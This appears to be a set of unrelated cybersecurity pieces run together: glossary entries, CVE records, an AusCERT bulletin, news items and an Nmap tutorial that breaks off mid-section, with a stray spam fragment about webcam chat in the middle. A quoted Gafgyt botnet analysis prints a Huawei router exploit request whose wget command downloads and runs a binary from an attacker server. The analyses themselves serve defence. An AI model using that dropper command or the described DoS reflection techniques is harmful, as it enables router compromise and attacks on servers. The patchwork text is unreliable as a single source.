DDoSPedia is a glossary that focuses on network and application security terms with many distributed definitions. It provides a central place for hard to find web-scattered definitions on DDoS attacks. DNS amplification attack is a sophisticated denial of service attack that takes advantage of DNS servers' behavior in order to amplify the attack. In order to launch a DNS amplification attack, the attacker performs two malicious tasks. First, the attacker spoofs the of the DNS resolver and replaces it with the victim's IP address. This will cause all DNS replies from the DNS servers to be sent to the victim's servers. Second, the attacker finds an Internet domain that is registered with many DNS records. During the attack, the attacker sends DNS queries that request the entire list of DNS records for that domain. This results in large replies from the DNS servers, usually so big that they need to be split over several packets. Using very few computers, the attacker sends a high rate of short DNS queries to the multiple DNS servers asking for the entire list of DNS records for the Internet domain it chose earlier. The DNS servers look for the answer and provide it to the DNS resolver. However, because the attacker spoofed the IP address of the DNS resolver and set it to be the IP address of the victim, all the DNS replies from the servers are sent to the victim. The attacker achieves an amplification effect because for each short DNS query it sends, the DNS servers reply with a larger response, sometimes up to 100 times larger. Therefore, if the attacker generates 3 Mbps of DNS queries, it is actually amplified to 300Mbps of attack traffic on the victim. The victim is bombed with a high rate of large DNS replies where each reply is split over several packets. This requires the victim to reassemble the packet, which is a resource consuming task, and to attend to all of the attack traffic. Soon enough, the victim's servers become so busy handling the attack traffic that they cannot service any other request from legitimate users and the attacker achieves a denial-of-service.
Format string vulnerability in the log_message function in lks.c in Linux Kiss Server 1.2, when background (daemon) mode is disabled, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via format string specifiers in an invalid Note:References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete. FULLDISC:20080305 Vulnerability in Linux Kiss Server v1.2 Disclaimer: The entry creation date may reflect when the CVE-ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. This is an entry on the CVE list, which standardizes names for security
Vulnerable servers of all kinds are being targeted, compromised and made to mine cryptocurrencies for the attackers. Apache Solr servers under attack SANS ISC handler Renato Marihno warns about an active campaign aimed at compromising Apache Solr servers. The campaign infected 1777 victims from February 28 to March 8. Of those, 1416 are Solr servers. The attackers are exploiting CVE-2017-12629 for gaining access to the vulnerable servers and delivering Monero-mining malware. The flaw dates back to October 12, 2017, and the first public exploit for it to October 17. The source of the flaw is an incorrectly configured XML parser in the “queryparser” library, Marinho noted, and warned: “As we are dealing with a library flaw, it’s worth mentioning that it may affect other software which depends on ‘queryparser,’ like: IBM InfoSphere version 11.5; JBoss Data Grid verions 7.0.0, 7.1.0; JBoss Enterprise Application Platform (EAP) versions 6, 7, 7.0.8; JBoss Enterprise Portal Platform version 6, among others.” Dubbed so due to one type of targets (Redis servers) and propagation/lateral movement method (the EternalBlue exploit used in WannaCry attacks), the RedisWannaMine attacks start with the attackers exploiting the CVE-2017-9805 Apache Struts 2 RCE vulnerability. Image by Imperva The attackers then download (via a script) crypto-mining malware from an external location, make sure to achieve persistency through new entries in crontab, and create a new ssh key entry in /root/.ssh/authorized_keys and new entries in the system’s iptables to achieve remote access to the machine. They also download masscan, a publicly available, open source TCP port scanner, and use it to discover and infect with crypto-mining malware publicly available Redis servers. The attack script then also launches a process called ebscan.sh, which uses masscan to discover publicly available Windows servers that are vulnerable to the EternalBlue exploit, and infect them – yes, you guessed it! – with crypto miner malware. These attacks only serve to underscore the importance of keeping one’s servers updated and patched.
29 January 2020 Protect yourself against future threats. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2020.0320 FortiOS SSL VPN user credential plaintext storage 29 January 2020 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: FortiOS SSL VPN Publisher: Fortiguard Operating System: Network Appliance Impact/Access: Access Confidential Data -- Existing Account Resolution: Patch/Upgrade CVE Names: CVE-2019-17655 Original Bulletin: https://fortiguard.com/psirt/FG-IR-19-217 - --------------------------BEGIN INCLUDED TEXT-------------------- FortiOS SSL VPN user credential plaintext storage IR Number : FG-IR-19-217 Date : Jan 27, 2020 Risk : 3/5 Impact : Information Disclosure CVE ID : CVE-2019-17655 CVE ID : CVE-2019-17655 Summary A cleartext storage in a file or on disk (CWE-313) vulnerability in FortiOS SSL VPN may allow an attacker to retrieve a logged-in SSL VPN user's credentials should that attacker be able to read the session file stored on the targeted device's system. To successfully exploit this weakness, another unrelated weakness (eg: a system file leaking vulnerability) would therefore need to be exploited first. Impact Information Disclosure Affected Products FortiOS all versions below 6.2.3 Solutions Upgrade to FortiOS 6.2.3 References o https://blog.orange.tw/2019/08/ attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. The mailing list you are subscribed to is maintained within your organisation, so if you do not wish to continue receiving these bulletins you should contact your local IT manager. If you do not know who that is, please send an email to [email protected] and we will forward your request to the appropriate person. NOTE: Third Party Rights This security bulletin is provided as a service to AusCERT's members. As AusCERT did not write the document quoted above, AusCERT has had no control over its content. The decision to follow or act on information or advice contained in this security bulletin is the responsibility of each user or organisation, and should be considered in accordance with your organisation's site policies and procedures. AusCERT takes no responsibility for consequences which may arise from following or acting on information or advice contained in this security bulletin. NOTE: This is only the original release of the security bulletin. It may not be updated when updates to the original are made. If downloading at a later date, it is recommended that the bulletin is retrieved directly from the author's website to ensure that the information is still current. Contact information for the authors of the original document is included in the Security Bulletin above. If you have any questions or need further information, please contact them directly. Previous advisories and external security bulletins can be retrieved from: https://www.auscert.org.au/bulletins/ =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: [email protected] Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for member emergencies only. =========================================================================== -----BEGIN PGP SIGNATURE----- Comment: http://www.auscert.org.au/render.html?it=1967 iQIVAwUBXjEbQ2aOgq3Tt24GAQiSFhAAjyLHgUjScn93JjQ429bEr8E6jt3KAFRy XM1y1N9XbX9oz+tz4l5J3iSIlzST9ELXMF9QIFVv5qw1DWyC2fJ381wWjLkq2IN8 QqD4bxFicvROIIz0R4rtvS8lcUNHLgCyQ6bLk0uaN5/o8Y3r15Rc+HX1YU5h1iXX h3c+StMM1A3TBg0lyklM0bq0zoYtfHJfgN5qm3H0hon3uxJX/r4si9824tl4mZDa kCGuddgRasE4rviYIcR7PdHTTPWgxlEgcgE8R5ZISz4dT/HoKo2Cx2jLAuSUQfko fvQAn+rzvhbr5fQEcIJVW0ayVoKzquwxV0Iq73pit9kYi8lviHk5x9HcetJsrTsZ GSt9nu2Oceo0ezmdXi1uxlwniyIcguikMgYDFdGWJGZRMHg+Mr8rq/bdRDntY+DO SKay5S11JyABp6ZmL7rQ0h+0v3m/kUNivRgyx+8c/JUmOi/4KQJ1A5w2j4MbpOiM m91BhRZgxjLCaW4oUgvtydeEtRcmhNuTHZ6CQCBUKfdcLptRVRf2pSE1CWysOCEI ZKXSrxi9ukllXqVNREJmK0K3pFNRuynza/JjIsw57lP8p6TLM2Gy0D0A910d8l8x +1Of2cDooWoE3hESiMxbEf1vv7JFmB/auTo4PJrHzsZrcFGRhcfRiZwMA5Psclz9 kG+V5YsjD1E= =nRBn -----END PGP SIGNATURE-----
During a press conference on election security at FBI Headquarters with FBI Director Christopher Wray, Director of National Intelligence John Ratcliffe confirmed that some voter registration information has been obtained by Iran, and separately, by Russia. "This data can be used by foreign actors to attempt to communicate false information to registered voters that they hope will cause confusion, sow chaos, and undermine your confidence in American democracy," Ratcliffe said. Government agencies discovered that Iran has also been sending “spoofed” emails designed to intimidate voters, incite social unrest, and damage President Trump, including distributing other content, to include a video that implies that individuals could cast fraudulent ballots, even from overseas. "This video – and any claims about such allegedly fraudulent ballots – are not true," Ratcliffe noted. "These actions are desperate attempts by desperate adversaries. Even if the adversaries pursue further attempts to intimidate or attempt to undermine voter confidence, know that our election systems are resilient, and you can be confident your votes are secure." Rafe Pilling, Senior Security Researcher, Secureworks, explains, “Our analysis indicates the attack was simulated using infrastructure setup by the adversary—and not against a real voter registration database." Pilling adds, "The unusual thing about this campaign is the target set, theme, and inclusion of a contrived video showing a hack of a voter registration database. The messages were sent using compromised infrastructure from companies linked to Saudi Arabia, Estonia and United Arab Emirates. This is a common tactic for threat actors. In some cases, it appears that the threat actors had technical difficulties getting target-specific, personal information, to populate in their email templates, with only the variable name showing in the resulting message. This could indicate that aspects of the operation were rushed or not well-planned in advance. While the video shows the use of the sqlmap tool to compromise a voter registration database, some failures in the redaction reveal command lines that indicate the attack was simulated using infrastructure setup by the adversary—and not against a real voter registration database." "Regarding the intent of the campaign, Secureworks’ CTU researchers agree with the US Director of National Intelligence, the campaign’s aim is to create confusion, as well as fuel speculation and existing voter division, but not to influence specific voters. The real attack is on the United States’ democratic system with the intention to cast doubt over the integrity of the election process. This is illustrated by the inclusion of a link to a contrived video showing what appears to be fraudulent requests being submitted to the Federal Voting Assistance Program on-line portal," Pilling notes. "Since Iranian disinformation operations are usually focused on its domestic audience and neighbors in the Middle East, this is an unusual foray into American politics perhaps intended to test the waters and monitor the U.S. response. This statement only relates to the Iranian operation. The Russian activity is very different. And probably less directly election related.”
Browsers are usually the first point of contact between victims and threat actors. With a few bits of code, crooks manage once again to freeze Google Chrome and scare users into calling for assistance. Two new extensions in Firefox and Chrome force install then hide from the user. Learn how you can protect yourself against them and remove them manually. Google initiates their plans to implement new changes in Chrome to defend against annoying web redirects.
The government of Bangladesh has been targeted more than once by Bitter, an APT group that focuses on cyberespionage. It has developed a new malware that enables it to download and execute remote files. A typical example of Bitter’s targeting scope, which has not changed since 2013, is the campaign, which has been ongoing since August 2021. The threat analysts at Cisco Talos discovered the campaign and provided details on how it was executed. Citing IP address overlap, encryption commonality, and module name scheme, Cisco Talos researchers attribute this campaign in part to Bitter. Malicious Infection Chain Cisco detected two infection chains and both started with spear-phishing emails, during this campaign targeting various government organizations in Bangladesh. Here, to make the messages appear as if they came from a government organization in Pakistan, they have been sent via spoofed email addresses. In this case, an attacker likely exploited a vulnerability in the Zimbra mail server, which enabled attackers to send emails from an illegitimate address. One of the main differences between the two infection chains is the type of attachment included in the malicious email and here they are:- - One has an .RTF document. - The other one has an .XLSX document. These RTF documents can be exploited to trigger remote code execution by exploiting CVE-2017-11882 and getting access to machines using vulnerable versions of Microsoft Office and run arbitrary code. An exploit for two CVEs, CVE-2018-0798 and CVE-2018-0802, are triggered by opening the Excel spreadsheet. On outdated versions of Microsoft Office, remote code execution (RCE) is the result. A scheduled task that is created by the exploit is in charge of downloading the payload for this particular attack. This task succeeds in connecting to the host server and downloading the trojan every five minutes after the initial infection. The executable file zxxZ is a 32-bit version of Visual C++ compiled as a 32-bit version of the malware that sends data back to the C2 server with a separator used only by the malware. The experts at Cisco Talos stated:- “The trojan masquerades as a Windows Security update service and allows the malicious actor to perform remote code execution, opening the door to other activities by installing other tools.” Moreover, a number of anti-detection features are employed by the malware, such as obfuscated strings, as well as the ability to look for and kill Kaspersky and Windows Defender processes.
Naked web cam chat on skype dating customs in cyprus Other popular uses include security surveillance, computer vision, video broadcasting, and for recording social videos. The video streams provided by webcams can be used for a number of purposes, each using appropriate software: Most modern webcams are capable of capturing arterial pulse rate by the use of a simple algorithmic trick. Some of them, for example, those used as online traffic cameras, are expensive, rugged professional video cameras. Researchers claim that this method is accurate to ±5 bpm. Webcams may be installed at places such as childcare centres, offices, shops and private areas to monitor security and general activity. A webcam is a video camera that feeds or streams its image in real time to or through a computer to a computer network. When "captured" by the computer, the video stream may be saved, viewed or sent on to other networks via systems such as the internet, and emailed as an attachment.
This post is also available in: 日本語 (Japanese) In September 2019, during the proactive IoT threat-hunting process conducted daily by the Unit 42 (formerly Zingbox security research) team, we discovered an updated Gafgyt variant attempting to infect IoT devices; specifically small office/home wireless routers of known commercial brands like Zyxel, Huawei, and Realtek. This Gafgyt variant is a competing botnet to the JenX botnet, which also uses remote code execution exploits to gain access and recruit routers into botnets to attack gaming servers – most notably those running the Valve Source engine – and cause a Denial of Service (DoS). This variant also competes against similar botnets, which we have found are frequently sold on Instagram. According to Shodan scans, there are more than 32,000 WiFi routers potentially vulnerable to these exploits around the world. Additionally, it abuses one more vulnerability than JenX does: - CVE-2017-18368 – ZYXEL P660HN-T1A – New in this variant - CVE-2017-17215 – Huawei HG532 – Present in JenX as well - CVE-2014-8361 – Realtek RTL81XX Chipset – Present in JenX as well Targeted IoT Devices – Wi-Fi SOHO Routers Starting in 2016, we’ve observed that wireless routers are one of the most common IoT devices in organizations across industries, making them targets for IoT botnets, degrading the production network and the reputation of the IP addresses of the affected company. Additionally, botnets gain access to IoT devices by using exploits instead of typical dictionary attacks (in which the botnet attempts to log in to the device via unsecured services such as telnet). This helps the botnet spread more easily through IoT devices even if administrators have disabled unsecured services and applied strong login passwords. Gafgyt is a botnet that was uncovered in 2014 and has become popular for launching large-scale DDoS (distributed denial-of-service) attacks. Since then, many variants have evolved and targeted different types of devices in different industries. As it is known, there is a strong link between botnets and game servers. In the past, a similar variant called JenX was disclosed by Radware, which abuses of CVE-2017-17215 and CVE-2014-8361, which are present in the WiFi routers Huawei HG532 and Realtek RTL81XX respectively. Our team uncovered an updated variant of Gafgyt malware (SHA256:676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07) derived from JenX variant, and after analyzing the sample, we identified that it targets three wireless router models (one more than the original JenX malware): · Zyxel P660HN-T1A – Added in this variant. · Huawei HG532 – Originally present in JenX · Realtek RTL81XX – Originally present in JenX It uses three “scanners” that attempt to exploit known remote code execution vulnerabilities present on the routers mentioned above. These scanners replace the typical dictionary attack commonly found in other IoT botnets. Figure 1. Scanner functions found in the sample Although previous Gafgyt variants have been exploiting vulnerabilities on wireless routers, this variant combines the next three specific exploits into a single instance: · CVE-2017-18368 – ZYXEL P660HN-T1A · CVE-2017-17215 – Huawei HG532 · CVE-2014-8361 – Realtek RTL81XX Chipset The exploits were crafted to work as binary droppers, which pull the corresponding binary from a malicious server depending on the type of device it is trying to infect. Exploit #1: CVE-2017-18368 – ZYXEL P660HN-T1A The first exploit abuses a remote command injection on Zyxel P660HN wireless routers. This exploit was not previously used by its predecessor variant of JenX. The Zyxel P660HN-T1A distributed by TrueOnline has a command injection vulnerability in the remote system log forwarding function, which can be accessed by an unauthenticated user. The vulnerability is in the ViewLog.asp page and can be exploited through the remote_host parameter, as shown below. POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 127.0.0.1Connection: keep-alive Accept-Encoding: gzip, deflate The payload is inside the zyxelscanner_scanner_init() function: Figure 2. Zyxel exploit found in zyxelscanner_scanner_init() Exploit 2: CVE-2017-17215 – Huawei HG532 The second exploit abuses a remote code execution found on HG532 routers. An attacker can send malicious packets to TCP port 37215 to launch attacks. A successful exploit can lead to the remote execution of arbitrary code. POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Authorization: Digest username=“dslf-config”, realm=“HuaweiHomeGateway”, response=“3612f843a42db38f48f59d2a3597e19c”, algorithm=“MD5”, qop=“auth”, nc=00000001, <?xml version=“1.0” ?><s:Envelope xmlns:s=“http://schemas.xmlsoap.org/soap/envelope/” wget -g 185.172.110[.]224 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips It’s possible to find the exploit in the huaweiscanner_scanner_init() function: Figure 3. Huawei exploit found on huaweiscanner_scanner_init() Exploit #3: CVE-2014-8361 – Realtek RTL81XX Chipset This exploit consists of a serious flaw disclosed in 2014 in some Realtek routers that can lead to remote code execution. The miniigd SOAP service, implemented in Realtek SDK, allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, shown below. This third exploit can be found inside of the realtekscanner_scanner_init() function: Figure 4. Realtek exploit found on realtekscanner_scanner_init() This JenX variant uses the scanner functions mentioned previously to find machines to infect. Then, depending on the type of device it infects, it makes them download either an ARM7 or MIPS binary using wget, which is a computer program that pulls content from web servers. Figure 5. Binary dropping – 185.172.110[.]224/mips and 185.172.110[.]224/arm7 Once the malware is running on a compromised device, it connects to a C2 server, which is the same as the binary dropper server, and sends the device information to join the botnet: Figure 6. Connecting to a C2 server at 185.172.110[.]224 on TCP port 993 To join the botnet, the infected device sends some information about itself to the C2 server, such as its IP address and architecture. If no name is passed as an argument to the malware, it names it Unknown. Then, the C2 server replies with a PING command: Figure 7. Assigning a name to the device to join the botnet Figure 7. C2 response Once the device joins the botnet, it starts receiving commands to perform various types of DoS attacks. These are explained in the following section. DoS Attack Options This Gafgyt variant can perform different types of DoS attacks simultaneously depending on the commands received from the C2 server. The main() function of the malware calls another function called processCmd() to process the command and initiate a corresponding attack. The following are some of the important attack options we identified: · HTTP: It calls the SendHTTP() function to start an HTTP flooding attack. The function receives six parameters to perform the attack: http method, target host, port, file path, time to end, and iterations. Additionally, it randomly uses one of the User-Agents defined in the program to perform the attack. · HTTPHex: Similar to HTTP, it calls the SendHTTPHex() function. This function requires the same parameters as the SendHTTP() function but instead of using a regular file path (like /index.html), it uses a garbage hexadecimal array to consume more resources on the server in an effort to exhaust all its resources. · HTTPCF: This is an attack against services secured by Cloudflare. · KILLER & KILLATTK: This option kills competing botnets that might already be in the currently infected device. · VSE: This attack contains a payload to attack game servers running the Valve Source Engine. Figure 8. Most notable commands present in this Gafgyt variant The Gaming Industry Is Still the Target As previously described, the VSE command starts an attack against gaming servers running the Valve Source engine. This engine runs games such as Half-Life and Team Fortress 2 among others. Note that this is not an attack on the Valve corporation itself because anyone can run a server for these games on their own network. It is an attack on the servers. The following is the payload used to attack these servers: TSource Engine Query + The payload is decoded as follows: Figure 9. Decoded TSource Engine Query payload This payload is widely used to cause a Distributed reflection Denial of Service (DrDoS), which involves multiple victim machines that unwittingly participate in a DDoS attack. The Source Engine Query is part of routine communications between clients and game servers using Valve software protocols. Requests to victim host machines are redirected, or reflected, from the victim hosts to the target. As a consequence, they also elicit an amplified amount of attack traffic, causing a DoS on the target host. In addition, using the rest of DoS attack options, attackers are targeting other servers hosting widely played games such as Fortnite. Social Networks as Malware Marketplaces One of the attacks found in this sample looks for other competing botnets on the same device and tries to kill them so this will be the only botnet in which the device participates. To accomplish this, it looks for certain keywords and binary names present in other IoT botnet variants. They are divided into two sets of bin_names and bin_strings: Figure 10. Binary names and substrings present in other IoT botnets An interesting string that we were able to identify was chinese family, that is related to its predecessor JenX, which was distributed by the San Calvicie hacker group targeting servers hosting the game Grand Theft Auto: San Andreas. The JenX variant prints the string gosh that chinese family at the other table sure ate a lot. Many of the strings were related to other IoT botnets such as Hakai, Miori, Satori, and the infamous Mirai. Some other strings are related to botnet builds that correspond to Instagram usernames. Our research team contacted them using fake profiles and found that they are selling botnets in their Instagram profiles for low prices. They offered us a “spot” in their servers from $8 to $150 USD. A “spot” means that a person can pay them to add a set of IP addresses against which their already-working botnets will launch a DoS attack. They also offered us the source code for botnets at a wide range of prices depending on our budget and need. To note, Unit 42 has contacted the Instagram team and alerted them of these malicious profiles. Also, Unit 42 has reported the malicious websites they are using to manage their subscriptions to their botnets. Figure 11. Instagram accounts selling botnets Figure 12. Instagram account selling botnets against Fortnite Figure 13. Instagram story of a malicious user Some of the users have their own websites to manage their botnets subscriptions: Figure 14. Login to the website Figure 15. Dashboard to hire botnets Figure 16. Highest prices called VIP spots Our team found updated Gafgyt samples (derived from JenX variant) using exploits that abuse known vulnerabilities (some of which are more than 5 years old) in IoT devices to gain control and make them part of massive botnets that targets gaming servers, mainly for sabotage and revenge purposes. Wireless routers are widely used in all industries, making them common targets of these types of attacks and we’re constantly looking for new malware against which we can protect our customers. The diversity of hosts attacked by IoT botnets is wider than before and gaming servers have become a popular target. Likewise, common malware marketplaces used to be more underground like the dark web and underground forums, but now malware is being sold on social networks. Malware samples and DoS attack codes are easily available to anybody, and they can launch massive attacks for a few dollars without much if any previous technical knowledge. In short, an increase of IoT botnets sold on Instagram + low cost + RCE (remote code execution) exploits + the presence of wireless routers across all industries means that IoT devices are at increased risk of being recruited into botnets. This formula shows why every type of industry must be aware of IoT security and implement measures to prevent devices on their network from getting compromised and degrading business continuity. Indicators of Compromise Original JenX sample Updated JenX Sample User-Agents used in this sample for HTTP attacks Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11 In addition to the user agents listed above, Gafgyt botnet variants use the User-Agent: Hello-World and User-Agent: Ankit to send the exploit requests in the scanner modules.
Cisco, Netgear and more than a dozen other brands, including small Asian ones, have been found to share the same critical vulnerability, discovered by prolific researcher bashis. Most importantly, it shows supply chain risks with so many sharing the same fundamental software/hardware. Inside, we report details on: - Vulnerability overview - Realtek response - Which manufacturers are affected - Why so many companies are vulnerable - Impact on the security industry - Supply chain risks Those interested in cybersecurity within our industry should see our Cybersecurity Vulnerability Directory.
Iranian and Russian hackers use spear-phishing to target UK politicians Iranian and Russian hacking groups are utilizing spear-phishing campaigns against British politicians, journalists, and activists, the UK National Cyber Security Centre (NCSC) warned. The cyber war is in full swing, with nation-states deploying both physical and digital troops to advance their interests. The UK has issued a new advisory, warning about the Russia-based SEABORGIUM (Callisto Group/TA446/COLDRIVER/TAG-53) and Iran-based TA453 (APT42/Charming Kitten/Yellow Garuda/ITG18) actors who target British persons of interest for espionage purposes. “Throughout 2022, SEABORGIUM and TA453 targeted sectors included academia, defense, governmental organizations, NGOs, think-tanks, as well as politicians, journalists, and activists,” the advisory details. Both groups act in line with spear-phishing strategies, utilizing information known to be of interest to their victims in order to gain trust. The threat actors use social media open-source resources in order to conduct preliminary checks. Additionally, both SEABORGIUM and TA453 have been observed to set up fake pages to impersonate respected experts, as well as send invites to conferences or pitches from journalists. Using the gathered information, threat actors would build up trust with their targets, usually maintaining prolonged contact over time via personal or business email. Having built rapport, malicious hackers would share a link – disguised as a document, website, or even a Zoom invite – to convince the target to share their account credentials. According to researchers, SEABORGIUM and TA453 then use compromised details to steal emails and attachments from the victim’s inbox; set up mail-forwarding rules to control correspondece; and access mailing-list data and victim’s contacts lists for further targeting. “These campaigns by threat actors based in Russia and Iran continue to ruthlessly pursue their targets in an attempt to steal online credentials and compromise potentially sensitive systems,” Paul Chichester, NCSC Director of Operations, said. “We strongly encourage organizations and individuals to remain vigilant to potential approaches and follow the mitigation advice in the advisory to protect themselves online.” Iran and Russia have been linked as allies during the war in Ukraine, in which Iran is believed to be aiding the Kremlin's regime with attack drones. More from Cybernews: Quantum computers are nuclear weapons of the tech – but their potential is immeasurable Meta will include more users on encrypted Facebook Messenger version Researchers design remotely-controlled "biobots" powered by mouse cells Big Tech continues mass layoffs in Silicon Valley's firing epidemic LastPass owner GoTo joins subsidiary in breach woes Subscribe to our newsletter Your email address will not be published. Required fields are marked
Asked by: Ibor Hinspetertechnology and computing email What tools could you use to perform port scanning? Last Updated: 10th February, 2020 - Nmap. Nmap stands for "Network Mapper", it is the most popular network discovery and port scanner in the history. - Unicornscan. Unicornscan is the second most popular free port scanner after Nmap. - Angry IP Scan. Click to see full answer. Also know, which of the following tools can perform a port scan? 8 Port Scanner Tools for Network Administrator - 1TCP Port Scanner. - 4Port Authority. - 5Advanced Port Scanner. - 6Network Scanner by MiTeC. Subsequently, question is, how does port scanner work? A port scanner is an application designed to probe a server or host for open ports. Such an application may be used by administrators to verify security policies of their networks and by attackers to identify network services running on a host and exploit vulnerabilities. Keeping this in consideration, how do I open ports to scan? PortQry.exe allows you to scan open ports on a local or remote host. Once you have downloaded and extracted portqry.exe to your machine, open a command prompt, and type portqry.exe followed by a given parameter from the folder that contains the executable. Which method of port scanning is the most popular? Common Basic Port Scanning Techniques - PING SCAN. Ping Scans are used to sweep a whole network block or a single target to check to see if the target is alive. - TCP Half-Open. This is probably the most common type of port scan. - TCP CONNECT. - STEALTH SCANNING – NULL, FIN, X-MAS.
Cybercriminals send phishing emails disguised as Microsoft to gain access to victims’ login credentials. Once they have access, the attackers can carry out further attacks or steal sensitive information. Users should be cautious of unsolicited emails, verify the sender’s identity before entering login credentials, and enable two-factor authentication for added security. Through the phishing kit, the PaaS affiliates can configure service API keys and Telegram bots and track the stolen information. Read more: New ‘Greatness’ Phishing-as-a-Service Targets Microsoft 365 Accounts For more such updates follow us on Google News ITsecuritywire News. Please subscribe to our Newsletter for more updates.
IBM Security Information Queue (ISIQ) stores the JSON web token (JWT) secret in plain text in one of its YAML files. As of v1.0.5, ISIQ generates an encrypted JWT secret during product configuration. DESCRIPTION: IBM Security Information Queue (ISIQ) contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. CVSS Base score: 6.8 CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/176206 for the current score. CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N) Affected Products and Versions \|IBM Security Information Queue (ISIQ)\|\|1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4\| Workarounds and Mitigations Get Notified about Future Security Bulletins Jonathan Fitz-Gerald, John Zuccato, Rodney Ryan, Chris Shepherd, Nathan Roane, Kamil Sarbinowski, Vince Dragnea and Troy Fisher from IBM X-Force Ethical Hacking Team. 14 Feb 2020: Initial Publication *The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin. According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. 28 February 2020
DescriptionDirectory traversal vulnerability in Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10, when using certain proxy modules (mod_proxy, mod_rewrite, mod_jk), allows remote attackers to read arbitrary files via a .. (dot dot) sequence with combinations of (1) "/" (slash), (2) "\" (backslash), and (3) URL-encoded backslash (%5C) characters in the URL, which are valid separators in Tomcat but not in Apache. Overall state of this security issue: Resolved This issue is currently rated as having moderate severity. \|National Vulnerability Database\| SUSE Security Advisories: - SUSE-SR:2007:005, published Fri, 30 Mar 2007 16:00:00 +0000 - SUSE-SR:2007:015, published Fri, 03 Aug 2007 15:00:00 +0000 SUSE Timeline for this CVECVE page created: Fri Jun 28 02:00:44 2013 CVE page last modified: Fri Dec 8 16:19:24 2023
There are no ActiveX viruses known to us at the moment. However, this is likely to change in the future. There are some known and potentially dangerous OCX ActiveX applets out there, but no viruses. One example is OCX.Exploder, an applet that shuts down Windows. This applet is no longer detected by FSAV since it can be used as an useful tool as well. Based on the settings of your F-Secure security product, it will either automatically delete, quarantine or rename the detected program or file, or ask you for a desired action. Find the latest advice in our Community Knowledge Base. See the manual for your F-Secure product on the Help Center. Submit a file or URL for further analysis. F-Secure Anti-Virus found a HTML page that contains reference to a known vulnerability in Internet Explorer. The vulnerability allows execution of code in the current user context. Furhter information, including a fix, is available from Microsoft: https://www.microsoft.com/technet/security/bulletin/ms00-075.asp
The first step in vulnerability assessment is to define the scope (“Pre-engagement,” n.d.). After the scope is defined, the next step is information gathering, which defines the intelligence gathering activities of a vulnerability test. Depending on the scope of the engagement, there are many aspects to performing reconnaissance. In this post, I address active footprinting using basic port scanning with Nmap (“Intelligence Gathering,” n.d.) (See my Nmap Cheat Sheet). Developed by Gordon “Fyodor” Lyon Nmap (“Network Mapper”) is the industry standard for port scanning. Port scanning is an important step in vulnerability assessment because it determines which ports are open and services a host is running. Today’s firewalls and intrusion prevention systems (IPS) often block port scan traffic, which makes external penetrating much more difficult. This post assumes an internal pentest against one host called “Metasploitable” (See my post Six Steps to Install Metasploitable in VirtualBox). There are many nmap port scanning techniques. In this post, we will cover the three most popular nmap port scans the SYN Scan, The TCP Connect Scan, and the UDP Scan. What is a Port? There are physical and logical ports. For instance, physical ports are the hardware ports that you find on the side or back of your computer, and you use to connect devices (e.g., USB port). From an application layer perspective, logical ports are virtual ports opened in software that a client (e.g., Windows 10) or a server (Windows 2016) use to communicate with each other across a network. In this example, an Internet Protocol (IP) network. Service names and port numbers are used to distinguish between different service (“Service Name,” n.a.). Each port (AKA service) is assigned a number. Port numbers range from 0 to 65535, but port numbers 0 to 1024 are reserved for privileged services and designated as well-known ports. RFC 1700 specifies the list of port numbers. Port States According to Nmap Nmap see ports as either open, closed, filtered, unfiltered, open/filtered, or closed/filtered. For this post I will address open, closed, and filtered (“Port Scanning,” n.d.): - open: An application is actively accepting TCP connections, UDP datagrams or SCTP associations. - closed: A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. - filtered: Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. TCP Three-Way Handshake Basics (SYN, SYN-ACK, ACK) There are two types of Internet Protocol (IP) traffic. They are the Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP is connection oriented. UDP is not. To communicate, 